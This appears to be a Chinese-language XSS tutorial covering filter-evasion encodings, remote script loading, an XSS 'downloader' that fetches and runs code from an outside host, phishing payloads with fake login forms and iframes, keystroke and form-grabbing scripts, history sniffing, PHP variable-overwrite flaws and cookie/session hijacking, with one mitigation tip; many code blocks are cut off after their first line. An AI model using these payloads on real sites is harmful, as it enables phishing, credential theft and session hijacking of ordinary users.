什么是XSS?
跨站脚本(Cross-Site Scripting,XSS)是一种经常出现在 Web 应用程序中的计算机安全漏 洞,是由于 Web 应用程序对用户的输入过滤不足而产生的。攻击者利用网站漏洞把恶意的脚本 代码(通常包括 HTML 代码和客户端 Javascript 脚本)注入到网页之中,当其他用户浏览这些网 页时,就会执行其中的恶意代码,对受害用户可能采取 Cookie 资料窃取、会话劫持、钓鱼欺骗 等各种攻击。
由于和另一种网页技术——层叠样式表(Cascading Style Sheets,CSS)的缩写一样,为了防 止混淆,故把原本的 CSS 简称为 XSS。 通常情况下,我们既可以把跨站脚本理解成一种 Web 安全漏洞,也可以理解成一种攻击手段。
XSS攻击流程
XSS 跨站脚本攻击本身对 Web 服务器没有直接危害,它借助网站进行传播,使网站的大量用户 受到攻击。攻击者一般通过留言、电子邮件或其他途径向受害者发送一个精心构造的恶意 URL,当 受害者在 Web 浏览器中打开该 URL 的时侯,恶意脚本会在受害者的计算机上悄悄执行,流程如图
XSS 漏洞的危害
(1)网络钓鱼,包括盗取各类用户账号;
(2)窃取用户 cookies 资料,从而获取用户隐私信息,或利用用户身份进一步对网站执行操 作;
(3)劫持用户(浏览器)会话,从而执行任意操作,例如进行非法转账、强制发表日志、发 送电子邮件等;
(4)强制弹出广告页面、刷流量等;
(5)网页挂马;
(6)进行恶意操作,例如任意篡改页面信息、删除文章等;
(7)进行大量的客户端攻击,如 DDoS 攻击;
(8)获取客户端信息,例如用户的浏览历史、真实 IP、开放端口等;
(9)控制受害者机器向其他网站发起攻击;
(10)结合其他漏洞,如 CSRF 漏洞,实施进一步作恶;
(11)提升用户权限,包括进一步渗透网站;
(12)传播跨站脚本蠕虫等;
##XSS攻击之利用字符编码
HTML 标签中的某些属性值可以使用&#ASCII 方式进行编码改写,这种 XSS 转码支持十进制和十六进制形式。
1.工具转码:使用在线工具将输入内容转码
2.函数转码:
1 | 在 JavaScript 中有一个 eval()函数,该函数可计算字符串,并执行其中的 JavaScript |
完整如下:<script> eval("\x61\x6c\x65\x72\x74\x28\x27\x58\x53\x53\x27\x29"); </script>
3.函数结合转码:
1 | string.formcharcode()用于将字符转为 ASCII 值 |
4.样式表转码
1 | 可以对 background 的属性值进行十六进制字符串形式转换: |
style 属性中的 javascript、expression 等字符一般会被程序过滤,但经过十六进制编码后则可 以逃避过滤
5.JScript Encode 和 VBScript Encode
脚本加密的两种形式:JScript 和 VBScript.
经过加密的脚本,能在 IE下正常运行,在其他浏览器下则不识别。
如 **alert(1)**使用 JScript Encode 加密的结果为:#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@
经 XSS Expliot 后变为:<script language="JScript.Encode"> #@~^CAAAAA==C^+.D`8#mgIAAA==^#~@ </script>
VBScript.Encode :
1 | <a href=# language="JScript.Encode" onclick="#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@">test</a> |
复杂的
1 | <div style="\000000000000000000000078\000000000000000000000073s:e\xp/*jnv*/\0072\0065ssion(window.x?0:(alert(/XSS/),window.x= 1));"></div> |
Shellcode
所谓的 Shellcode,最初是溢出程序和蠕虫病毒的核心,实际上是指利用一个漏洞时所执行 的代码。在 XSS 跨站脚本中,是指由 JavaScript 等脚本编写的 XSS 利用代码。
【Exploit】
Exploit 的英文意思就是利用,在黑客眼里就是漏洞利用,通常表示完整编写好的漏洞利用 工具(或程序),具有一定的攻击性。 Exploit 很容易和 Shellcode 混淆,所以需要记住一点:Exploit 往往包含了 Shellcode。
【POC】
即 Proof of Concept 的缩写,是一段证明漏洞存在的程序代码片段。
在传统 XSS 的运用中,Shellcode 一般是直接写进页面中执行,不过实际环境中可能会遇到 重重阻挠,比如服务器端程序的过滤、输入字符有长度限制等,所以,攻击者往往会把 Shellcode 写到远程服务器上,然后使用
脚本:动态调用
1 | var s=document.createElement("script"); |
第一行代码使用 createElement()函数创建一个新元素——script。
第二行代码把#alert(‘xss’)
substr()可在字符串中抽取从 start 下标(这里是 1)开始的指定数目的字符,所以 location.hash.substr(1) 的作用是抽取“#”符号后面的字符,即 alert(‘xss’)
eval()函数用来计算 某个字符串,并执行其中的 JavaScript 代码
eval(location.hash.substr(1))的功能就是执行 Url的#之后的 JavaScript 代码,
通过这个技巧,就能先把 Shellcode 写到地址参数中再执行
三
XSS Downloader:
将其存储到网站的数据库中,包括网 页信息、文章内容、个人资料等地方,然后再把它们下载下来执行。
简单地说,其实就是打造一个 XSS downloader(XSS 下载器),事先把 Shellcode 写在网站 的某个页面,再利用 XMLHTTP 控件向网站发送 HTTP 请求(POST 或 GET),然后执行返回的 数据。
POC复现:
1 | function XSS(){ |
第一行:定义一个 XSS()函数,该函数也就是调用 Shellcode 的主函数。
第二行:创建一个 XMLHTTP 对象。
第三、四行:向 http://www.bug.com/11221.html 发送一个 HTTP 请求并获取 HTTP 响应。
第五行:获取 responseText,结果返回为字符串,把该变量赋值给 b 变量。
第六行:用 indexOf()函数计算 BOF|和|EOF 的位置,再用 substring()函数方法取出字符串, 最后用 unescape()函数方法解码执行。
XSS钓鱼方式
(1)XSS 重定向钓鱼(XSS Redirect Phishing)
(2)HTML注入式钓鱼(XSS HTML Inject Phishing)
(3)XSS 跨框架钓鱼(Iframe Phishing)
(4)Flash 钓鱼(Flash Phishing)
一
payload:
1 | http:/.../index.php?search="'><script>document.location.href="http://..."</script> |
二
payload:http://www.bug.com/index.php?search=”’<html><head><title>login</title></head> <body><div style="text-align: center;"><form Method="POST" Action="phishing.php" Name="form"><br /><br/>Login:<br/> <input name="login" /><br />Password:<br/><input name="Password" type="password" /><br /><br /><input name="Valid" value="Ok" type="submit" /><br /></form></div></body></html>
这段代码会在正常页面中嵌入一个 Form 表单,该表单可以覆盖 原页面显示,强迫用户输入账号和密码等信息。
三
这种方式是通过
1 | <html> |
上述代码会伪造一个和百度网页类似的网页,
payload:http://.../index.php?search='><iframe src=“http://...” height="100%" width="100%"></iframe>
四
Flash 钓鱼甚至不要求网站存在 XSS 漏洞,只要 攻击者把精心构造的 Flash 文件(比如一个假冒的登录框)上传到远程服务器,然后在目标网站 中使用
XSS高级钓鱼技术
背景
黑客利用 XSS 漏洞可以窃取用户会话的 Cookie,从而窃取网站用户的隐私数据,包括 MD5 密码信息等。但是,如果网站使用了 Httponly 的 Cookie(将 Cookie 的属性设置为“Httponly” 就可防止 Cookie被恶意JavaScript脚本存取),或无法通过 Cookie欺骗等方式侵入受害者的账户, 那么窃取用户 Cookie 资料的方法就显得英雄无用武之地。
这种情况下,黑客更青睐于直接获取用户的明文账户密码信息。这时候就要用到一些高级的 XSS 钓鱼技术,而构成这些技术的主要元素无非是我们所熟知的 DHTML、JavaScript、Ajax等。
实例一
1 | <script> |
这段代码用来截取用户在登录页面输入的用户名和密码信息,然后提交给当前创建的 PHP
脚本.
实例二
1 | <script> |
这段代码也会获取和记录用户所提交的信息,同实例一。
劫持链接的onclick
1 | for(i=0;i<document.links.length;i++) |
监听键盘的onkeydown
1 | document.onkeydown=function(e) |
劫持表单的输入框
1 | document.onkeyup=function(){ |
JS遍历 Form 表单元素
1 | function grabber() |
JS捕获用户特定按键
1 | <script> |
XSS History Hack
背景
对于网站上超级链接,我们点击后会发现颜色出现变化,那些没发生颜色变化的正是我们没有访问过的。
一般来说,用户每天都会浏览许多网页,这些网页 都会被浏览器记录下来,除非用户刻意清除,否则历史 记录将一直保存在本地计算机中。倘若攻击者能获取用 户浏览器的历史记录或搜索信息,将是一件十分危险的 事,攻击者可以在此基础上进一步发起其他攻击,如社 会工程学。
作用
能获取浏览器的某些历史记录,其原理就是利用 CSS 能定义访问 过的和未访问过的超级链接的样式。由于 JavaScript 可以读取任何元素的 CSS 信息,自然能分辨 浏览器应用了哪种样式和用户是否访问过该链接。
POC
1 | <html> |
代码实现
将上述代码保存到一个文档中,使用火狐打开之后,我们可以看到Visited和Not Visited 两部分,分别罗列出来我们曾经访问过的网站和没有访问过的网站。
出现这种效果的原因在于,我们上述的代码已经预先的把用户可能访问的网站记录下来,然后通过JS遍历列表,并利用getComputedStyle()的方法检查相应超级链接的style属性,从而辨别出浏览器是否访问过该网站。
$_SERVER[PHP_SELF]
1 | <form method="POST" action="<?php echo $_SERVER['PHP_SELF']; ?>"> |
将其保存,在php下运行。
产生 XSS 漏洞的原因
php echo $_SERVER[‘PHP_SELF’];
这行代码直接输出 PHP_SELF 变量,而该变量由用户控制。
如何规避
可以使用
htmlentities($_SERVER[‘PHP_SELF’])
来替代$_SERVER[‘PHP_SELF’]
, 这样即使网址中包含恶意代码,也会被转换为用于显示的 HTML代码,而不是被直接嵌入 HTML 代码中执行。
注意:除了 PHP_SELF 之外,其他的$_SERVER
变量也可能存在类似漏洞,比 如 SCRIPT_URI、QUERY_STRING、PATH_INFO 等,在使用之前一定要先进行 htmlentities 之类 的转换。
变量覆盖
(1)register_globals=on。
(2)extract()。
(3)遍历初始化变量。
一
背景
register_globals是php.ini里的一个配置,这个配置影响到PHP如何接受传递过来的参数,当register_globals打开以后,各种变量都可以被重新注册,包括来自HTML的表单请求变量,再加上PHP在使用变量之前不需要进行初始化,这便容易写出不安全的代码,然而我们只需要开启它便可以达到我们的攻击目的。
操作
开启r_g只需要修改PHP的配置文件php.in,在该文件中找到r_g的属性,然后把register——globals=Off改为register_globals=on即可。
示例
1 |
|
这段代码的输出很简单,但是$a
事先没有初始化,访问localhost/test.php?a=XSS
便能实现攻击。
二
背景
extract()函数,它用来将变量从数组导入到当前的符号表中
1 |
|
$a
已经被初始化,如果直接访问该页面,输出的值为1.添加参数a后,localhost/test.php?a=XSS
,页面输出的XSS,$a
被重新赋值,因为使用了extract($_GET);
这行代码是使用extract()覆盖所有以GET方法获取的变量,即localhost/test.php?a=<script>alert(/XSS/)</script>
能产生一个XSS。
三
背景
使用foreach()函数模拟全局操作
1 | $chs=' '; |
简化之后如下:
1 |
|
payload:localhost/test.php?a=XSS&b=<h1>XSS</h1>
字符集编码隐患
1 | localhost/test.php?a=xss%d5';alert(0)// |
$a
为动态内容,如果直接把xss’;alert(0)//赋给$a
localhost/test.php?a=xss';alert(0)//
则会返回:<script>x='xss\';alert(0)//';y='[user_input]';</script>
Cookie
背景
用户在浏览网站时,该网站可能会向电脑写入一个很小的文件,这个文件记录了用户的ID,Password,Time等等,这个文件就是Cookie文件,当我们再次访问该网站时,浏览器会自动检测存储,,将本地的Cookie发送给网站,网站通过读取Cookie来获取用户的信息,做出相应的动作,例如我们经常看到的,直接登陆,除了在浏览器内存中保存的Cookie之外,大部分的Cookie会保存在本地的硬盘。
XSS基本测试
(1)查找HTML显示的标签,查看是否在显示区域
(2)如果不在,则<script>alert((document.cookie)</script>:普通注入
"/><script>alert(document.cookie)</script>:闭合标签注入
</textarea>'"><script>alert(document.cookie)</script>:闭合标签注入
读写cookie
1 | public class CookieTest extends HttpServlet |
Burp
进行抓包,我们会发现Cookie后会带有几行密文,这就是WEB服务器向客户端发送的Cookie,当攻击者拿到这段Cookie,就可以使用当前用户的身份登陆。
使用Burp,add Request header,在Match输入框内输入要替换的请求头,这里为正则表达,找到该框进行add添加MAtch进行匹配,MATCH:^Cookie*$,REPLACE:为自己要设置的Cookie,设置完,再次请求,发现Cookie已经变成我们刚才设置的,绕过了登陆。
SESSION
对于安全性来说SESSION的安全性比Cookie高,对于构造,我们只需在HTML代码中添加<script type='text/javascript'> document.cookie='PHPSESSID=123456789' </script>
类似于这样即可,重新发送,我们会发现我们 所构造的SESSION合法。
如何拿到session
session是可以储存在Cookie中,相当于临时cookie,它既可以通过抓包的方式展现,也可以通过构造payload.../user.action;jsessionid=...
,SESSION是与浏览器之间的一次会话,它用来区分不同的用户,当浏览器关闭后,会随之消失,故我们需要在浏览器与服务器会话结束之前拿到。